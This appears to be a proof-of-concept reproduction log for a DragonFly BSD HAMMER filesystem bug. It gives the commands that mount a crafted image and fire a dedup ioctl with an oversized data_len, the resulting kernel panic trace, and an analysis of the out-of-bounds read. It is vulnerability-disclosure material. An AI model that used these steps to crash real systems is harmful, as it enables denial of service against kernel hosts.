== baseline run on unpatched 6.5-DEVELOPMENT #0 (with-src) ==

[root@dfbsd] ~# cc -o /root/poc_df0929/trigger /root/poc_df0929/trigger.c
[root@dfbsd] ~# vnconfig -c vn1 /root/poc_df0929/evil.img
[root@dfbsd] ~# mount_hammer /dev/vn1 /mnt/test
[root@dfbsd] ~# /root/poc_df0929/trigger /mnt/test
[*] issuing HAMMERIOC_DEDUP on two patched DATA leaves (data_len=0x7FFFFFFF)
                                                            <-- syscall hangs here
[guest goes down — ssh dies]

== boot.log (dfbsd-qemu/boot.log) — panic signature ==

panic: assertion "data_len >= 0 && data_len <= HAMMER_XBUFSIZE" failed in hammer_btree_extract at /usr/src/sys/vfs/hammer/hammer_btree.c:736
cpuid = 1
Trace beginning at frame 0xfffff80118250208
hammer_btree_extract() at hammer_btree_extract+0x289 0xffffffff80929239 
hammer_btree_extract() at hammer_btree_extract+0x289 0xffffffff80929239 
hammer_ioc_dedup() at hammer_ioc_dedup+0x11b 0xffffffff8095c35b 
hammer_ioctl() at hammer_ioctl+0x12ae 0xffffffff8093f0be 
hammer_vop_ioctl() at hammer_vop_ioctl+0x48 0xffffffff80958978 
vop_ioctl() at vop_ioctl+0x63 0xffffffff8070a793 
Debugger("panic")

CPU1 stopping CPUs: 0x0000003d
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db> 

== conclusion ==

The unvalidated data_len=0x7FFFFFFF on the crafted B-Tree DATA leaf is read
verbatim from the on-disk node and reaches hammer_btree_extract() (called via
hammer_ioc_dedup() at hammer_dedup.c:66).  On the default X86_64_GENERIC
kernel (options INVARIANTS) the KKASSERT at hammer_btree.c:736 fires and
panics the kernel, proving the bug is reachable from a privileged user space
ioctl on a crafted HAMMER filesystem image.

On a non-INVARIANTS kernel the KKASSERT is compiled out and the same data_len
flows into bcmp(cursor1.data, cursor2.data, 0x7FFFFFFF) at hammer_dedup.c:117,
driving a ~2 GiB OOB read past the 16 KiB data buffer (page fault => panic).
The same overflow also propagates into hammer_blockmap_dedup() /
hammer_blockmap_free() via HAMMER_DATA_DOALIGN (hammer_disk.h:934-935).